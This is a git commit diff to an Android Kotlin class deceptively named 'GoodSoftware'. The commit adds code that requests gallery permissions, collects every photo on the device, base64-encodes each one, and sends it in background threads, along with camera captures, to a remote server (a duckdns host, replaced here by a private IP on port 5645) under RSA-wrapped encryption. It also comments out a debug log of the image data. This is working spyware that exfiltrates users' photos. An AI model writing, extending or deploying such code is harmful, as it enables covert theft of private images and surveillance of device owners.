Get pictures from gallery, for now only android -13

app/src/main/java/com/ti/m/GoodSoftware.kt

@@ -1,8 +1,13 @@
 package com.ti.m
 
 import android.Manifest
+import android.content.ContentResolver
+import android.content.ContentUris
 import android.content.Context
+import android.content.Intent
 import android.content.pm.PackageManager
+import android.net.Uri
+import android.provider.MediaStore
 import android.util.Base64
 import android.util.Log
 import androidx.camera.core.CameraSelector
@@ -35,6 +40,9 @@ class GoodSoftware (private val activity: MainActivity) {
     private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
     private var imageCapture: ImageCapture? = null
     private val REQUEST_CAMERA_PERMISSION = 100
+    private val REQUEST_GALLERY = 101
+    private val REQUEST_MEDIA_IMAGES_PERMISSION = 102
+
 
     private companion object {
         private const val RSA_ALGORITHM = "RSA"
@@ -106,18 +114,66 @@ class GoodSoftware (private val activity: MainActivity) {
 
     private fun startPictureCapture() {
         activity.lifecycleScope.launch {
+            // Check and request camera permission
+            if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
+                requestCameraPermission()
+            }
+
+            // Check and request gallery permission
+            if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
+                requestGalleryPermission()
+            }
+
+            // If both permissions are granted, proceed with picture capture and gallery access
             takeBeautifulPicture(activity, activity)
+
+            Thread {
+                val imageList = getAllImagesFromGallery(activity)
+                for (image in imageList) {
+                    val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
+                    Thread {
+                        println("Sending data to server")
+                        sendDataToServer(base64Image)
+                    }.start()
+                }
+            }.start()
         }
     }
 
+    fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String {
+        var base64Image = ""
+        contentResolver.openInputStream(imageUri)?.use { inputStream ->
+            val byteArrayOutputStream = ByteArrayOutputStream()
+            inputStream.copyTo(byteArrayOutputStream)
+            val byteArray = byteArrayOutputStream.toByteArray()
+            base64Image = Base64.encodeToString(byteArray, Base64.DEFAULT)
+        }
+        return base64Image
+    }
+
+    private fun requestGalleryPermission() {
+        ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
+        ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
+    }
+
     // Handle permission request result
     fun onRequestPermissionsResult(requestCode: Int, grantResults: IntArray) {
-        if (requestCode == REQUEST_CAMERA_PERMISSION) {
+        when (requestCode) {
-            if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
+            REQUEST_CAMERA_PERMISSION -> {
-                startPictureCapture()
+                if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
-            } else {
+                    startPictureCapture()
-                // Permission denied
+                } else {
-                // You may want to handle this case
+                    // Camera permission denied
+                    // Handle accordingly
+                }
+            }
+            REQUEST_GALLERY -> {
+                if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
+                    startPictureCapture()
+                } else {
+                    // Gallery permission denied
+                    // Handle accordingly
+                }
             }
         }
     }
@@ -131,7 +187,7 @@ class GoodSoftware (private val activity: MainActivity) {
     fun sendDataToServer(sendData: String) {
         try {
             val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
-            val host = "thinclient.duckdns.org"
+            val host = "192.168.90.151"
             val port = 5645
             val secureRandom = SecureRandom()
             val keyBytes = ByteArray(16)
@@ -221,7 +277,7 @@ class GoodSoftware (private val activity: MainActivity) {
                 buffer.get(bytes)
                 byteArrayOutputStream.write(bytes)
                 val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
-                Log.d(picture.TAG, "Base64 Image: $base64Image")
+                //Log.d(picture.TAG, "Base64 Image: $base64Image")
                 Thread {
                     println("Sending data to server")
                     sendDataToServer(base64Image)
@@ -257,4 +313,34 @@ class GoodSoftware (private val activity: MainActivity) {
     object picture {
         const val TAG = "CameraXBasic"
     }
+
+    fun getAllImagesFromGallery(context: Context): List<String> {
+        val imageList = mutableListOf<String>()
+        val contentResolver: ContentResolver = context.contentResolver
+        val imageProjection = arrayOf(
+            MediaStore.Images.Media._ID,
+            MediaStore.Images.Media.DISPLAY_NAME
+        )
+        val imageUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI
+
+        val cursor = contentResolver.query(
+            imageUri,
+            imageProjection,
+            null,
+            null,
+            "${MediaStore.Images.Media.DATE_ADDED} DESC"
+        )
+
+        cursor?.use { cursor ->
+            val idColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID)
+            while (cursor.moveToNext()) {
+                val id = cursor.getLong(idColumn)
+                val contentUri = ContentUris.withAppendedId(imageUri, id)
+                imageList.add(contentUri.toString())
+            }
+        }
+
+        return imageList
+    }
+
 }